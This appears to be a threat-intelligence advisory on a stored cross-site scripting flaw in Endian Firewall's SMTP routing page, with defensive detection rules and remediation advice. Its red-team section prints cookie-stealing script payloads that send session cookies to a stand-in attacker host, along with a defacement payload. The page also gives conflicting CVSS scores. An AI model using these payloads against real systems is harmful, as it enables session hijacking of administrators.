CVE-2026-34817
Executive Summary
CVE-2026-34817 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the ADDRESS BCC parameter in /cgi-bin/smtprouting.cgi. The injected script is stored on the server and executed when other authenticated users view the affected page. This allows the attacker to perform actions such as session hijacking, credential theft, or defacement within the context of the Endian Firewall management interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom web application component of the Endian Firewall appliance. The risk is limited to the appliance's management interface.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must have valid credentials.
- User Interaction (UI): Required (R) – The victim must view the affected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (CVSS 4.8). The requirement for authentication and user interaction reduces the severity, but the stored nature of the XSS allows for persistent attacks.
Deep Dive & Mechanics
The vulnerability exists in the /cgi-bin/smtprouting.cgi CGI script, which handles SMTP routing configuration. The ADDRESS BCC parameter is used to specify a blind carbon copy address for outgoing emails. The application fails to sanitize or encode user input before storing it in the backend database or configuration file. When the configuration page is rendered, the stored value is included in the HTML without proper escaping, allowing arbitrary JavaScript execution.
Attack Flow:
- An authenticated attacker logs into the Endian Firewall management interface.
- The attacker navigates to the SMTP routing configuration page.
- The attacker sets the
ADDRESS BCCparameter to a malicious payload, e.g.,<script>alert('XSS')</script>. - The payload is stored on the server.
- When another authenticated user views the SMTP routing page, the payload executes in their browser.
Root Cause: Lack of output encoding in the web interface. The application does not use context-aware escaping (e.g., HTML entity encoding) when rendering the ADDRESS BCC value.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Example of vulnerable CGI script
import cgi
form = cgi.FieldStorage()
bcc_address = form.getvalue('ADDRESS BCC')
# Store directly without sanitization
store_config('bcc', bcc_address)
# Later, when rendering:
print(f"<input type='text' value='{bcc_address}'>")
Patched Code (Conceptual):
import cgi
import html
form = cgi.FieldStorage()
bcc_address = form.getvalue('ADDRESS BCC')
# Sanitize input
sanitized_bcc = html.escape(bcc_address)
store_config('bcc', sanitized_bcc)
# Render with encoding
print(f"<input type='text' value='{sanitized_bcc}'>")
The patched version uses html.escape() to convert special characters (e.g., <, >, &) to their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid credentials for the Endian Firewall management interface.
- Network access to the management interface (typically port 443).
Exploitation Steps:
- Log in to the Endian Firewall web interface.
- Navigate to
System > SMTP Routingor directly to/cgi-bin/smtprouting.cgi. - In the
ADDRESS BCCfield, inject a payload such as:<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script> - Save the configuration.
- Wait for another admin to view the page, or lure them via social engineering.
Payload Examples:
- Session Hijacking:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script> - Defacement:
<script>document.body.innerHTML='<h1>Pwned</h1>';</script>
Blue Team
Detection:
- Monitor HTTP requests to
/cgi-bin/smtprouting.cgifor suspiciousADDRESS BCCparameters containing<script>tags or event handlers. - Look for anomalous outbound connections from the Endian Firewall to unknown IPs (potential data exfiltration).
- Review web server logs for unusual patterns in the
ADDRESS BCCfield.
Prevention:
- Implement input validation and output encoding for all user-supplied data.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Apply the principle of least privilege to user accounts.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/cgi-bin/smtprouting.cgiwithADDRESS BCCcontaining<script>tags. - Outbound connections to unknown IPs on port 80/443 from the Endian Firewall.
- HTTP requests to
- Host:
- Modified configuration files in
/etc/endian/firewall/containing JavaScript payloads. - Unusual entries in
/var/log/httpd/access_logwith encoded or suspiciousADDRESS BCCvalues.
- Modified configuration files in
- File:
- Configuration files with HTML tags in the BCC field.
Detection Engineering
YARA Rule
rule CVE_2026_34817_XSS_Payload {
meta:
description = "Detects stored XSS payload in Endian Firewall SMTP routing config"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34817"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$bcc_field = "ADDRESS BCC"
condition:
$bcc_field and $xss_payload
}
Sigma Rule
title: Stored XSS in Endian Firewall SMTP Routing
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2026-34817 by injecting XSS payloads into the ADDRESS BCC parameter.
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/smtprouting.cgi'
cs-params|contains: 'ADDRESS BCC'
cs-params|re: '<script[^>]*>.*?<\/script>'
condition: selection
falsepositives:
- Legitimate use of HTML in BCC field (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-34817 - Stored XSS in Endian Firewall SMTP Routing";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/smtprouting.cgi"; http_uri;
content:"ADDRESS BCC"; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2026-34817;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable SMTP Routing: If not required, disable the SMTP routing feature in the Endian Firewall.
- Restrict Access: Limit access to the management interface to trusted IPs only.
- User Education: Train administrators to avoid clicking on suspicious links or viewing untrusted pages.
Long-Term Fix:
- Apply input validation and output encoding to all user-supplied parameters in
/cgi-bin/smtprouting.cgi. - Implement a Content Security Policy (CSP) that restricts script execution.
- Upgrade to a patched version when available (currently UNKNOWN).
Workaround:
- Use a web application firewall (WAF) to block requests containing
<script>tags in theADDRESS BCCparameter.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: CBC3F8D467DC6B48155D2720] */}